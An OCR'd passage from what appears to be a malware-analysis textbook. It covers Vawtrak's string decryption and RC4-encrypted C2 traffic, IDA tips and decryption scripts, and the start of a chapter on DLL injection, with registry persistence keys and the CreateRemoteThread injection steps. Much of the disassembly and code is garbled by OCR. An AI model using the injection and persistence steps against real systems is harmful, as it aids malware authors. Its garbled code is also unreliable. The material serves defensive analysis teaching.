Jtext:18887DF8 Max

dword ptr -8Ch

text:180870F8 Seed = dword ptr -8

text:1080870F8 1 = dword ptr -4

.text:180@70F8 SrcString = dword ptr 8

.text:18087DF8 DstString = dword ptr @Ch

Jtext:18887DF8

text:100870F8 push  ebp

text:1080470F9 mov ebp, esp

text:180870FB sub esp, 8Ch

text:180870FE mov eax, [ebptsrcString]

text:180a7E01 mov eax, [eax]

text:10087E03 mov [ebptSeed], eax

text:10087E06 mov eax, [ebp+SrcString]

text:100a7E09 mov gax, [eaxtd]

text:180a7EaC Xar eax, [ebptSeed]

Jtext: 19007EQF shr eax, 1@h

text:18087E12 mov [ebpttax], eax

Jtext:108087ELS mov eax, [ebptsrcString]

Jtext: 18007ELS add gax, B

text:10047ELR mov [ebptSrcString], eax

text:18087ELE and [ebp+i], @

text:18087E22 jmp short loc_18@87E2B

0o A 1 S sttt bt bttt b bttt sl ool vt oot
Jtext:18087E24

ctext:18087E24 Loop: ; CODE XREF: DecryptString+6lij
text:10007E24 mov eax, [ebp+i]

Jtext: 18887E27 inc eax

text:10087E28 mov [ebp+i], eax

Jtext:18887E2B

.text:18887E28 loc_18@@7E2B: 3 CODE XREF: DecryptString+2Atj
text:10087E28 mov eax, [ebp+i]

text:18087E2E cmp eax, [ebpHiax]

Jtext:18087E31 jnb short loc_18@87ESE

Jtext:108087E33 imul  eax, [ebptSeed], 41C64EGDh ; Seed = Seed * @x41CG4EED + Bx3839
Jtext:18047E33 3 DstStr[i] = SrcStr[i] - Seed
Jtext: 18@@87E3A add gax, 3839h

text:18087E3F mov [ebptSeed], eax

text:10087E42 mov eax, [ebp+SrcString]

Jtext:18087E45 add eax, [ebp+i]

text:10087E48 movzx  eax, byte ptr [eax]

text:10087E4E movzx  ecx, byte ptr [ebptSeed]

text:10087E4F sub £ax, ecx ;3 Decryption Part
text:18047E51 mov ecx, [ebptDstString]

text:10087E54 add ecx, [ebp+i]

text:18087E57 mov [ecx], al

text:18887E59 jmp short Loop

et ABMATESE s T S T S T S R R T T R R S R R A R T R S e S s R T R e e
Jtext: 18887ESB

.text:18887E58 loc_18@@7ESB: 3 CODE XREF: DecryptString+39tj
text:108087ESE mov eax, [ebptMax]

text:180@7ESE mov esp, ebp

.text:10087E6R pop ebp

text:16887E61 retn

.text:18887E61 DecryptString  endp



Figure 30: Encryption loop in Vawtrak malware

The encryption algorithm consists of two parts:

¢ Generating the next key: This generates a 4-byte number (called a seed)
and uses only 1 byte of it as a key. This is randomly generated with this

algorithm:
seed = ((seed * Ox41C64E6D) + 0x3039 ) & OXFFFFFFFF
key = seed & OXFF

e Encrypt data: This part is very simple as it encrypts the data using data[i] =

data[i] - eax.

This encryption algorithm is used to encrypt API names and DLL names, so after
decryption, the malware can load the DLL dynamically using an API called
LoadLibrary, Which loads a library if it wasn't loaded or just gets its address if it's
already loaded (you may also see cetModulenandie, which only gets the address of
the already loaded DLL).

After getting the DLL address, the malware gets the API address to execute
using an API called cetprocaddress, which gets this function address from the
address of the library and the API name. The malware implements it as follows:



Jtext:10091970 push  offset unk_lb@@Fm

text: 10001982 call  DecryptString ; wininet.dll

-text: 10001987 pp e ok 1000724 db 29 ; )  DATA XREF: GethininetAPIs+Bto
Jtext: 10061988 pop  ecx ¥ : LoadNetDLLs+10t0
text:10091989 lea  eax, [ebptLibFi d 6 c
text: 1000198 push  eax db 0F8h : §
text: 10081980 call  ds:LoadLibraryA d 7 ;-
Jtext:10661993 mov  ehx, eax d 6h: f
Jtext: 10841995 test  eby, ebx &b oh

text: 10001997 jz short loc 16061 b 87 ; :
Jtext:10091999 push  esi d 7 :
Jtext: 10681994 xor  esi, esi db 2h
text: 1000199 push  edi

text: 10081990 amp  off 10812004, esi

Jtext: 10091943 jz  short loc 1008190

Jtext: 10091945 mv  eax, offset off 10912004

Jtext:106819A or  edi, edi

et 106819AC

Jtext:100919AC loc_109019AC: ; CODE XREF: GetHininetAPTs+6B4]
text: 100019AC lea  ecx, [ebptProchiane]

text: 10001947 push  ecx

Jtext: 10001980 push  dword ptr [eax]

.text:10091982 call  DecryptString ; HttpAddRequestHeadersh

JLext: 10801987 pop e

Jext: 18061988 pop ek

.text:10091989 lea  eax, [ebptProchiane]

text: 1000198 push  eax i LpProcliame

.text: 10001980 push  ebx ; MModule

Jtext:1009198E call  ds:GetProcAddress

Figure 31: Resolving API names in Vawtrak malware

The same function (pecryptstring) is used a lot inside the malware to decrypt each
string on demand (only when it's being used), as follows:



i@-e";‘-:?:

Ly Ll

Directio Typ Address Text
@D... p LoadNetDlls:loc_10001819 cal DecryptString; ieframe.dl
@D... p ChedRapportProcess?+17  cal DecryptString; rapport
@D... p sub_ 10002261468 cal DecryptString; MOD ID="%u EXEC: %s
@D... p sub_1000226149D cal DecryptString; String_AnsiToWide Fail: %u
@D... p sub_ 100022614126 cal DecryptString; INJMOD: % Status: %u GLE: %u
BED. p sub 10002DC5+51 @l DecryptString; OLE%0.3X%0. 2X%0. 24%0.54%0.8
@D... p  RandomObjString+1A call DecryptString; {30, 8X-960. 4-%0. $-%60, 4-%0, 4( %0, 81}
@D... p  GenerateRandomString+7C cal DecryptString; {960, 8X-%0, 4X-%0, 4X-%50.4-%0, 41 %0.8)}
@D... p sub_10002FA9+58 cal DecryptString; BOT_ID:
@D... p sub_10002FA9+3A @l DecryptString; PROJECT ID:
D... p sub_10002FA9+B1 cal DeyptSiring; BUILD:
@D... p sub_10002FAS4D7 cal DecryptSiring; RAND:
@D... p sub_10002FA9+103 aal DecryptString; UPDATE_VER:
@D... p  MalwareMain+1E cal DecryptString; SeCreateGlobalPriviege
@D... p  MalwareMain+36 cal DecryptSiring
@D... p MalwareMain+4E call DecryptString
@D... p MalwareMain+DF cal DecryptString; BROWSER START
@D... p  MalwareMain+108 cal DecryptString; SHELL START
@D... p sub_10003538+13 cal DecryptString; SOFTWARE\BOT
D... p sub_10003535+26 cal DecryptString; CONFIG
@D... p CresteProcessHookingFun... cal DecryptString; chrome.exe
@D... p CreateProcessHookingFun... &l DecryptString; —use-spdy=off
@D... p ReoGetValueHooker+68  cal DecryptString; chrome.exe
@D... p GetCreateProcessinternal.. cal DecryptString; CreateProcessinternalW
@D... p GetCreateProcessinternal.. cal DecryptString; kernelbase.dl
@D... p GetCreateProcessInternal.. call DecryptString; kernel32.dl
@D... p  ChedkCurrentProcessiam... cal DecryptString; explorer.exe
@D... p ChedCurrentProcessham... cal DecryptString; iexplore.exe
@D... p  CheckCurrentProcessham... cal DecryptString; firefox.exe
@D... p  ChedkCurrentProcessNam... call DecryptString; chrome.exe
_IED n_=suh 10004 AR+RC rallDecruntSring: PHPGSTN=
OK Cancel Search Help
' Line 23 of 79

Figure 32: Xrefs to decryption routine in Vawtrak malware



To decrypt this, you need to go through each call to the decrypt function being
called and pass the address of the encrypted string to decrypt it. This may be
exhausting or time-consuming, so automation (maybe using IDA Python or a
scriptable debugger/emulator) could help, as we will see in the next section.



Network communication encryption

Vawtrak can use different encryption algorithms to encrypt its own network
communications. It implements multiple algorithms, including RC4, LZMA
encoding/compression, the LCG encryption algorithm (this is used with strings,
as we mentioned in the previous section), and others. In this section, we will take
a look at the different parts of its encryption.

Inside the requests, it has implemented some encryption to hide basic
information, including cawpazen_1o and sot_1p, as shown in the following
screenshot:

- Follow TCP Stream (tcp.stream eg 5) t + XM

Stream Content

POST /wWork/new/index.php HTTP/1.1

Accept: textf/himl,application/xhtml+xml, application/xnl;qe=8.9,%/*:q=8.8
Accept-Language: en-US:ge=@.5,en;qe=8.3

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=SCAECI9E61GGEET1TFAGRESIGEANBTCS

Pragma: no-cache

Cache-Control: max-age=d

Content-Type: application/octet-stream

User-Agent: Mozilla/5.0 (compatible: MSIE 8.8; Windows NT 6.1; WIN32)
Host: ninthclub.com

Content-Length: 71

- FUAIA L R |- 7 R 80...H..eHTTP/1.1 266 OK

Figure 33: Network traffic of the Vawtrak malware

The cookie, or prpsessin, included an encrypted message. The encryption
algorithm that was used was RC4 encryption. Here is the message after
decryption:



Figure 34: Extracted information from the network traffic of the Vawtrak malware

The decrypted prpsessio includes the RC4 key in the first 4 bytes. sor_10 and the
next byte represent the campaign_1d (exe3), and the remaining ones represent some
other important information.

The data that's received is in the following structure and includes the first seed
that will be used in decryption, the total size, and multiple algorithms that are
used to decrypt them:

Length of first segment
Seed 4

Number of segments
Total size

!

Figure 35: The structure used for decryption in the Vawtrak malware

Unfortunately, with network communication, there's no simple way to grab the
algorithms that were used, or the protocol's structure. You have to search for



network communication functions such as HttpaddrequestHeadersa (the one we saw
in the decryption process earlier) and the other network APIs and trace the data
that was received, as well as trace the data that's going to be sent, until you find
the algorithms and the structure behind the command-and-control
communication.



Using IDA for decryption and
unpacking

The IDA disassembler is a very convenient tool for storing the markup of
analyzed samples. Its embedded debuggers and several remote debugger server
applications allow you to perform both static and dynamic analysis in one place
for multiple platforms—even the ones where IDA can't be executed on its own.
It also has multiple plugins that can extend its functionality even further, as well
as embedded script languages that can automate any tedious tasks.



IDA tips and tricks

While OllyDbg provides pretty decent functionality in terms of debugging,
generally, IDA has more options for maintaining the markup. This is why, many
reverse engineers tend to do both static and dynamic analysis there, which is
particularly useful in terms of unpacking. Here are some tips and tricks that will
make this process more enjoyable.



Static analysis

First, let's look at some recommendations that are mainly applicable to static
analysis:

e When working with the memory dump rather than the original sample, it
may seem like the import table has already been populated with API
addresses. The easy way to get the actual API names in this case is to
use the pe_d11s.idc script, which is distributed in the pe_scripts.zip package.
This is available for free on the official IDA website. From there, you need
to load the required DLLs from the machine where the dump was made.
Don't forget to remove the filename extension for the DLL when loading it,
since a dot symbol can't be used in names in IDA.

o It generally makes sense to recreate structures that are used by malware in
IDA'’s Structures tab rather than adding comments throughout the
disassembly, next to the instructions that are accessing their fields by
offsets. Keeping track of structures is a much less error-prone approach, and
means that we can reuse them for similar samples, as well as for comparing
different versions of malware. After this, you can simply right-click on the
value and select the Structure offset option (the T hotkey). A structure can
be quickly added by pressing the Ins hotkey in the structures subview and
specifying its name. Then, a single field can be added by putting a cursor at
the end of the structure and pressing the D hotkey one, two, or three times,
depending on the size that's required. Finally, to add the rest of the fields
that have the same size, select the required field, right-click and choose
the Array... option, specify the required number of elements that have the
same size, and remove the ticks in the checkboxes for the Use "dup"
construct and Create as array options.

e For cases where the malware accesses fields of a structure stored in the
stack, it is possible to get the actual offsets by right-clicking and selecting
the Manual... option (Alt + F1 hotkey) on the variable, replacing the
variable name with the name of pointer at the beginning of the structure and
remaining offset, and then replacing the offset with the required structure
field, as shown in the following screenshot:



push  34h push  d3kh
push @ push @
lea  eax, [ebp+buffer for APIs 2] lea  eax, [ebp+buffer for APIS 2]
push  eax push  eax
tall  nmemset ; arg @ - dst tall  memset ; arg B - dst
; arg 4 - value ; arg 4 - value
; arg B - size ; arg 8 - size
add  esp, OCh add  esp, ACh
lea  ecx, [ebp+buffer for APIs 2] lea  ecx, [ebp+buffer for APIs 2]
push  ecx push  ecx
lea  edx, [ebp+buffer for APIs 1] lea  edx, [ebp+buffer for APIs 1]
push  edy push  edx
call  restore_imports call  restore_imports
add esp, 8 add esp, 8
mv  [ebp+var 18], @ mov  [ebp+var 18], @
lea  eax, [ebp+var 18] lea  eax, [ebp+var 18]
push  eax push  eax
tall  [ebp+var_30] call  [ebp+buffer for APIS 2+APIs 2.GetCommandLinel]
push  eax push  eax
tall  [ebp+var 38] call  [ebp+buffer for APIS 2+APIs 2.ConmandLineToArgui]
mov  [ebprvar 1C], eax mov  [ebp+var 1C], eax
cmp  [ebp+var 1C], @ cap  [ebp+var 1C], @
jz loc 481890 jz loc_48189D

Figure 36: Mapping a local variable to the corresponding structure field

Make sure that the Check operand option is enabled when renaming the
operand to verify that the total sum of values remains accurate.
Another option is to select the text of the variable (not just left-click on
it), right-click the Structure offset option (again, the T hotkey), specify
the offset delta value should be equal to the offset of the pointer to the
beginning of the structure, and finally select the structure field that's
suggested.

This method is quicker, but doesn't preserve the name of the pointer, as
we can see on the following screenshot:



push 34h
push 8
lea eax, [ebp+buffer_ for APIs 2]
push eax
call memset ; arg_8 - dst
; arg_4 - value
; arg_8 - size
add esp, HCh
lea ecx, [ebp+buffer for APIs 2]
push eCH
lea ed=, [ebp+buffer for APIs 1]
push edx
call restore_imports
add esp, 8
mov [ebp+var_ 18], B
lea eax, [ebp+uvar 18]
push eax
call [ebp+{APIs 2 _GetCommandLineW-58h) ]
push eax
call [ebp+{APIs 2 _CommandLineTofArguW-58h}]
mouv [ebp+var 1C], eax
cCmp [ebp+var 1C], 8
jz loc_ 4@189D

Figure 37: Another way to map a local variable to the structure field

e Many custom encryption algorithms incorporate the xor operation, so the
easy way to find it is by following these steps:

1. Open the Text search window (Alt + T hotkey).

2. Put xor in the string field and search for it.

3. Check the Find all occurrences checkbox.

4. Sort the results and search for xor operations that incorporate two
different registers or a value in memory that is not accessed using the
frame pointer register (ebp).

¢ Don't hesitate to use free plugins like Findcrypt, IDAscope O IDA signsrch that
can search for encryption algorithms by signatures.

e If you need to import a c file with a list of definitions as enuns, it is
recommended that you use the nzenun.idc script (don't forget to provide
a correct mask in the second dialog window). When importing c files with
structures, it generally makes sense to prepend them with a #pragna
pack(1) statement to keep offsets correct. Both the File | Load file | Parse C
header file... option and the TILIB tool can be used pretty much



interchangeably.
In case you need to rename multiple consequent values that are pointing to
the actual APIs in the populated import table, select all of them and execute
the renimp.idc script, which can be found in IDA's idc directory.
If you need to have both 10a <= 6.95 and 10a 7.0+ together on one Windows
machine, do the following:
1. Install both x86 and x64 Python to different locations—for
example, c:\python27 and c:\python27x64.
2. Make sure that the following environment variables point to the setup
for IDA <= 6.95:

set PYTHONPATH=C:\Python27;C:\Python27\Lib;C:\Python27\DLLs;C:\Pyth«
set NLSPATH=C:\IDA6.95\

3. By doing this, 1pa <= 6.95 can be used as usual by clicking on its
icon. In order to execute 1a 7.0+, create a special LNK file that will
redefine these environment variables before executing IDA:

C:\Windows\System32\cmd.exe /c "SET PYTHONPATH=C:\Python27x64;C:\Py!

Often, malware samples come with open source libraries like OpenSSL that
are statically linked in order to take advantage of the properly implemented
encryption algorithms. Debugging such code can be quite tricky, as it may
not be immediately obvious which part of the code belongs to malware and
which part belongs to the legitimate library. In addition, it may take a
reasonable amount of time to figure out the purpose of each function within
the library itself. In this case, it makes sense to create a FLIRT signature
that can be reused later for other samples. Here's how you can do this; we
will be using OpenSSL as an example:

1. Either find the already compiled file or compile a .1ib/.a file for
OpenSSL for the required platform (in our case, this is Windows). The
compiler should be as close to the one that was used by the malware as
possible.

2. Get flair utilities for your IDA from the official website. This package
contains a set of tools to generate unified PAT files from various object
and library formats (OMF, COFF, and so on), as well as
the sigmake tool.

3. Generate PAT files, for example, by using the pcr tool:

pcf libcrypto.a libcrypto.pat



4. Use sigmake to generate .sig files:

sigmake libcrypto.pat libcrypto.sig

If necessary, resolve collisions by editing the .exc file that was
created and rerun sigmake.

5. Place the resulting .sig file in the sig folder of the IDA root directory.
6. Follow these steps to learn how to use it:

1.
2.
3.

4.

Go to View | Open subviews | Signatures (Shift + F5 hotkey).
Right-click Apply new signature (Ins hotkey).

Find the signature with the name you specified and confirm it by
pressing OK or double-clicking on it.

Another way to do this is by using the File | Load file | FLIRT
signature file... option.

Another popular option for creating custom FLIRT signatures is the idbzpat tool.



Dynamic analysis

Now, let's talk about tips and tricks that aim to facilitate dynamic analysis in
IDA:

¢ In order to debug samples in IDA, make sure that the sample has an
executable file extension (for example, .exe); otherwise the IDA will refuse
to execute it, saying that the file does not exist.

e Older versions of IDA don't have the Local Windows debugger option
available for x64 samples. However, it is possible to use the Remote
Windows debugger option together with the wine4_remotexe4.exe Server
application located in the IDA's dbgsrv folder. It is possible to run it on the
same machine if necessary and make them interact with each other via
localhost using the Debugger | Process options... option.

e The graph view only shows graphs for recognized or created functions. It is
possible to quickly switch between text and graph views using the Space
hotkey. When debugging starts, the Graph overview window in the graph
view may disappear, but it can be restored by selecting the View | Graph
Overview option.

e By default, IDA runs an automatic analysis when it opens the file, which
means that any code that's unpacked later won't be analyzed. In order to fix
this dynamically, follow these steps:

1. If necessary, make the IDA recognize the entry point of the unpacked
block as code by pressing the C hotkey. Usually, it also makes sense to
make a function from it using the P hotkey.

2. Mark the memory segment storing the unpacked code as a loader
segment. Follow these steps to do this:

1. Go to View | Open subviews | Segments (Shift + F7 hotkey
combination).

2. Find the segment storing the code of interest.

3. Either right-click on it and select the Edit segment... option or use
the Ctrl + E hotkey combination.

4. Put a tick in the Loader segment checkbox.

3. Rerun the analysis by either going to Options | General... | Analysis
and pressing the Reanalyze program button or right-clicking in the
lower-left corner of the main IDA window and selecting the Reanalyze



program option there.
¢ If you need to unpack a DLL, follow these steps:
1. Load it to IDA as any other executable.
2. Choose your debugger of preference:
e [ocal Win32 debugger for 32-bit Windows
e Remote Windows debugger with the winea_remotess.exe application

for 64-bit Windows

3. Go to Debugger | Process options..., where you should do the
following:
e Set the full path of rund1132.exe (Or regsvraz.exe for COM DLL,

which can be recognized by DllRegisterServer/DllUnregisterServer or
the p111nsta11 exports that are present) to the Application field.

e Set the full path to the DLL to the Parameters field. Additional

parameters will vary, depending on the type of DLL:
e For a typical DLL that's loaded using rund1132.exe, append

either a name or a hash, followed by the ordinal (for
example, #1) of the export function you want to debug, and
separate it from the path by a comma. You have to provide
an argument, even if you want to execute only the main
EntryPoint logic.

For Control Panel (CPL) DLLs that can be recognized by
the CPIApplet export, the she1132.d11, control_runoLL argument
can be specified before the path to the analyzed for the DLL
instead.

For the COM DLL that was loaded with the help of
regsvra2.exe, the full path should be prepended with the /u
argument in case the bi1unregisterserver export should be
debugged. For a p111nstal1 export, a combination of /n
/i[:cmdline] arguments should be used instead.

In case the DLL is a service DLL (generally, it can be
recognized by the servicemain export function and services-
related imports) and you need to properly debug servicemain,
see chapter 2, Basic Static and Dynamic Analysis for
x86/x64 for more details on how to debug services.

¢ Among other useful-for-dynamic-analysis scripts, funcap appears to be
extremely handy as it allows you to record arguments that have been passed
to functions during the execution process and keep them in comments once

it's done.

e If, after decryption, the malware constantly uses code and data from another



memory segment (Trickbot is a good example), it is possible to dump these
segments and then add them separately to the IDB using the File | Load File
| Additional binary file... option. When using it, it makes sense to set the
Loading segment value to o and specify the actual VA in the Loading offset
field. If the engineer already put the VA value (in paragraphs) in the
Loading segment and kept the loading offset equal to e instead, it is possible
to fix it by going to View | Open subviews | Selectors and changing the
value of the associated selector to zero.



Classic and new syntax of IDA scripts

Talking about scripting, the original way to write IDA scripts was with a
proprietary IDC language. This had multiple high-level APIs that can be used in
both static and dynamic analysis.

Later, IDA started supporting Python and provided access to IDC functions with
the same names under the idc module. Another functionality (generally, more
low level) is available in the idaapi and idautiis modules, but for automating most
generic things, the idc module is good enough.

Since the list of APIs has extended over time, more and more naming
inconsistencies have been accumulated. Eventually, at some stage, it requiring a
revision, which would be impossible to implement while keeping it backwards-
compatible. As a result, starting from IDA version 7.0 (the next version after
6.95), a new list of APIs were introduced which affected plugins relying on the
SDK and IDC functions. Some of them were just renamed from camelcase to
underscore_case, While others were replaced with new ones.

Here are some examples of them, showing both the original and new syntax:

e Navigation:
® Functions/NextFunction: get_next_func allows you to iterate thTOUgh
functions
® Heads/NextHead: next_head allows you to iterate through instructions
® ScreentA: get_screen_ea gets a sample's virtual address where the cursor is
currently located
¢ Data access:
® Byte/Word/DwordI byte/word/dword read a value of a particular size
e Data modification:
L PatchByte/PatchWord/PatCthordI patch_byte/patch_word/patch_dword write a block
of a particular size
® OpEnumEx: op_enum cONverts an operand into an enun value
¢ Auxiliary data storage:
® AddEnum. add_enum adds d NEeW enum
® Addstrucex: add_struc adds a new structure



Here is an example of an IDA Python script implementing a custom xor
decryption algorithm for short blocks:

from i1dc import *
from idaapi import *

def decrypt_str(content):
result = ""
for val in content:
val = chr((ord(val) - 1) & @xFF)
result += val
return result

def read_bytes_until_zero(ea):
result = ""
for i in range(@xFFFF):
val = Byte(ea + 1)
if (val) == @:
break
result += chr(val)
return result

def patch_bytes(ea, buf, size):
for i in range(size):
PatchByte(ea, ord(buf[i]))
ea += 1

def decrypt_all():

start = ScreenEA()

size = int(AskStr("1", "Enter the size of the list (in hex)"), 16)

for ea in range(start, start + size*4, 4):
decr_str = decrypt_str(read_bytes_until_zero(Dword(ea)))
print decr_str
patch_bytes(Dword(ea), decr_str, len(decr_str))
MakeUnknown (Dword(ea), len(decr_str), DOUNK_SIMPLE)
MakeStr(Dword(ea), BADADDR)

CompilelLine('static _decrypt_all() {RunPythonStatement("decrypt_all()");}')

" decrypt all"
Figure 38: Original IDA Python API syntax for 32-bit Windows

Here is a script implementing the same custom xor decryption algorithm for a 64-
bit architecture using the new syntax:




rom idc import *
rom idaapi import *

def decrypt_str(content):
result = ""
for val in content:
val = chr((ord(val) - 1) & OxFF)
result += val
return result

def read_bytes_until zero(ea):
result = ""
for 1 in range(@xFFFF):
val = get_byte(ea + 1)
if (val) ==
break
result += chr(val)
return result

def patch_bytes(ea, buf, size):
for 1 in range(size):
patch_byte(ea, ord(buf[i]))
ea +=1

def decrypt_all():

start = get_screen_ea()

size = int(ask_str("1", 3, "Enter the size of the list (in hex)"), 16)

for ea in range(start, start + size*8, 8):
decr_str = decrypt_str(read_bytes_until zero(get_gword(ea)))
print decr_str
patch_bytes(get_qword(ea), decr_str, len(decr_str))
create_strlit(get_gword(ea), 8, STRTYPE_C)

ompile idc_text('static _decrypt_all() {RunPythonStatement("decrypt all()");}')
add_idc_hotkey("z", "_decrypt_all")

Figure 39: New IDA Python API syntax for 64-bit Windows

Some situations may require an enormous amount of time to analyze a relatively
big sample (or several of them) if the engineer doesn't use IDA scripting and




they are using dynamic string decryption and dynamic winAPIs resolution.



Dynamic string decryption

In this case, the block of encrypted strings is not decrypted at once. Instead, each
string is decrypted immediately before being used, so they are never decrypted
all at the same time. In order to solve this problem, follow these steps:

1.
2.
3.

Find a function that's responsible for decrypting all strings.

Replicate the decryptor behavior.

Let the script find all the places in the code where this function is being
called and then read an encrypted string that will be passed as its argument.
Decrypt it and write it back on top of the encrypted one so that all the
references will remain valid.



Dynamic WinAPIs resolution

With the dynamic WinAPIs resolution, only one function with different
arguments is being used to get access to all the WinAPIs. It dynamically
searches for the requested API (and often the corresponding DLL), usually using
some sort of checksum of the name that's provided as an argument. There are
two common approaches to making this readable:

e Using enums:
1. Find the matches between all checksums, APIs, and DLLs used.
2. Store the associations as enum values.
3. Find all the places where the resolving function is being used, take its
checksum argument, and convert it into the corresponding enun name.
e Using comments:
1. Find the matchings between all checksums, APIs, and DLLs used.
2. Store associations in memory.
3. Find all the places where the resolving function is being used, take its
checksum argument, and place a comment with the corresponding API
name next to it.

IDA scripting is really what makes a difference and turns novice analysts into
professionals who are able to efficiently solve any reverse engineering problem
in a timely manner. After you have written a few scripts using this approach, it
becomes pretty straightforward to update or extend them with extra functionality
for new tasks.



Summary

In this chapter, we covered various types of packers and explained the
differences between them. We also gave recommendations on how we can
identify the packer that's being used. Then, we went through several techniques
of how to unpack samples both automatically and manually, and provided real-
world examples of how to do so in the most efficient way, depending on the
context. After this, we covered advanced manual unpacking methods that
generally take a longer time to execute, but give you the ability to unpack
virtually any sample in a meaningful period of time.

Furthermore, we covered different encryption algorithms and provided
guidelines on how to identify and handle them. Then, we went through a modern
malware example that incorporated these guidelines so that you could get an idea
of how all this theory can be applied in practice. Finally, we covered IDA script
languages—a powerful way to drastically speed up the analysis process.

In chapter 4, Inspecting Process Injection and API Hooking, we are going to
expand our knowledge about various techniques that are used by malware
authors in order to achieve their goals and provide a handful of tips on how to
deal with them.



Inspecting Process Injection and API
Hooking

In this chapter, we are going to explore more advanced techniques that are used
by malware authors for various reasons, including bypassing firewalls, tricking
reverse engineers, and monitoring and collecting user information in order to
steal credit card data and for other purposes.

We will be diving into various process injection techniques, including DLL
injection and process hollowing (an advanced technique that was introduced by
Stuxnet) and explain how to deal with them. Later, we will look at API hooking,
IAT hooking, and other hooking techniques that are used by malware authors and
how to handle them.

By the end of this chapter, you will have extended your knowledge of the
Windows platform and be able to analyze more complex malware. You will learn
how to analyze injected code inside other processes, detect it through memory
forensics, and detect different types of API hooking techniques and analyze them
to detect Man-in-The-Browser (MiTB) attacks or any other attacks.

To make the learning process seamless, this chapter is divided into the following
sections:

Understanding process injection

DLL injection

Working with process injection

Memory forensics techniques for process injection
Understanding API hooking

Working with API hooking

Exploring IAT hooking



Understanding process injection

Process injection is one of the most well-known techniques malware authors use
to bypass firewalls, perform memory forensics techniques, and slow down
inexperienced reverse engineers by adding malicious functionality to

legitimate processes and hiding it while doing so. In this section, we will cover
the theory behind process injection and why it is commonly used in various APT
attacks nowadays.



What's process injection?

In the Windows operating system, processes are allowed to allocate, read, and
write in another process's virtual memory, as well as create new threads, suspend
threads, and change these threads' registers, including the instruction pointer
(EIP/RIP). Process injection is a technique that's implemented by malware
authors so that they can inject code inside another process memory or a complete
library (DLL) and execute that code (or the EntryPoint of that DLL) inside the
space of that process.

In Windows 7 and higher, it's not permitted to inject into core Windows
processes such as explorer.exe Or into other users' processes. But it's still OK to
inject in most current user browsers and other current user processes.

This technique is legitimately used by multiple endpoint security products to
monitor applications and for sandboxing (as we will see in the API hooking
section), but it's also misused by malware authors.



Why process injection?

For malware authors, process injection helps them to do the following:

e Bypass trivial firewalls that block internet connections from all applications
except browsers or other whitelisted apps. By injecting into one of these
whitelisted applications, the malware can communicate with the C&C
without any warning or blocking from the firewall.

e Evade debuggers and other dynamic analysis or monitoring tools by
running the malicious code inside another unmonitored and not debugged
process.

e Hook APIs in the legitimate process the malware injected its code into,
which can give more monitoring abilities over the user behavior on the
malware author's machine.

e Maintain persistence for fileless malware. By injecting into a background
process, the malware can maintain persistence on a server that rarely gets
rebooted.

Now, we will dive deeper into various process injection techniques, how they
work, and how to deal with them. We will start with the most simple,
straightforward technique: DLL injection.



DLL injection

The Windows operating system allows processes to load dynamic link libraries
into other processes for security reasons, sandboxing, or even graphics. In this
section, we will explore the legitimate straightforward ways to inject a DLL into
a process, as well as the other techniques that allow you to inject into a process
using Windows APIs.



Windows-supported DLL injection

Windows has created registry entries for DLLs so that they can be loaded in
every process that meets certain criteria. Many of them allow the malware DLL
to be injected into multiple processes, including browsers and other legitimate
processes. There are many of these registry entries available, but we will explore
the most common ones here.

| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

This registry entry was one of the most misused registry entries by malware to
inject DLL code into other processes and maintain persistence. The libraries
included in this path are loaded together with every process that loads users2.d11
(the system library used mainly for the UI).

In Windows 7, it requires DLLs to be signed and it's disabled by default for
Windows 8 and beyond. However, it still can be misused by setting

the requiresignedappInit_pLLs value to False and LoadAppInit_pLLs tO True (see the
following screenshot). To do this, you require administrative privileges to be
able to set these entries, which can be resolved, for example, with the help of
social engineering;:

ing string @)

g keyName

\\Internet Ex

Figure 1: Using the Applnit_DLLs registry entry to inject the malware library into different browsers
Now, let's move to the next commonly misused registry key:



| HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls

The libraries in this registry entry are loaded in each process that calls at least
one of the following functions:

CreateProcess
CreateProcessAsUser
CreateProcessWithLogonW

CreateProcessWithTokenWw

WinExec

This allows the malware to be injected into most browsers (as many of them
create child processes to manage different tabs) and other applications as well. It
still requires administrative privileges since wkev_rocaL_macHIne is not writable for
normal users on a Windows machine (Vista and above):

| HKEY_CURRENT_USER\Software\Classes\<AppName>\shellex\ContextMenuHandlers

This path loads a shell extension (a DLL file) in order to add additional features
to the main Windows shell (expiorer.exe). Basically, it loads the malware library
as an extension to explorer.exe. This path can be easily created and modified
without any administrative privileges.

There are other registry entries available that can inject the malware library into
other processes, as well as multiple software solutions, like Autoruns from
Sysinternals, that allow you to see whether any of these registry entries have
been exploited for malicious use on the current system:
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Figure 2: Autoruns.exe application in Sysinternals Suites

These are most of the legitimate straightforward ways malware injects its DLLs



into different processes. Now, we will explore the more advanced techniques that
require the use of different Windows APIs to allocate, write, and execute
malicious code inside other processes.



A simple DLL injection technique

This technique uses the LoadLibrary API as a way to load a malicious library using
Windows PE loader and execute its EntryPoint. The main goal is to inject the
path of the malicious DLL into the process using the virtualallocex API

and writeprocessmemory. Then, it creates a thread into that process using
createRemoteThread, wWith the address of the LoadLibrary API as the thread start
address. When passing the DLL path as an argument to that thread (which is
passed to the LoadLibrary API), the Windows PE loader will load that DLL into the
process and execute its code flawlessly:

MEMORY DISK

ORIGINAL IMAGE

LOADED DLL

Figure 3. Simple DLL injection mechanism

The exact steps the malware generally follows are like so:

1. Get the targeted process handle via its PID using the openprocess API. This
handle will be used to access, read, and write to this process.

2. Allocate a space in that process virtual memory using the virtualaliocex API.
This space will be used to write the full path of the malicious DLL file.



3. Write to the process using the writeprocessmemory API. Write the path of the
malware DLL.

4. Load and execute this DLL USiIlg CreateRemoteThread and give the LoadLibrarya
address as the start address and the address of the DLL path as an argument.

Alternative APIs can also be used, for example, the
undocumented rticreateuserthread instead of createremoteThread.

This technique is simple compared to the techniques we will cover in the
following sections. However, this technique leaves traces of the malicious DLL
in the process information. Any simple tool such as 1istdiis.exe from Sysinternals
Suite can help incident response engineers to detect this malicious behavior. In
addition, this technique won't work for fileless malware since the malware DLL
file must be present on a hard disk before it can be loaded using LoadLibrarya.

In the next section, we will cover more advanced techniques. They still rely on
the APIs we described earlier, but they include more steps to make process
injection successful.



Working with process injection

In this section, we will cover the intermediate to advanced techniques of process
injection. These techniques leave no trace on a disk and can enable fileless
malware to maintain persistence. Before we cover these techniques, let's talk
about how the malware finds the process that it wants to inject into—in
particular, how it gets the list of the running processes with their names and
PIDs.



Getting the list of running processes

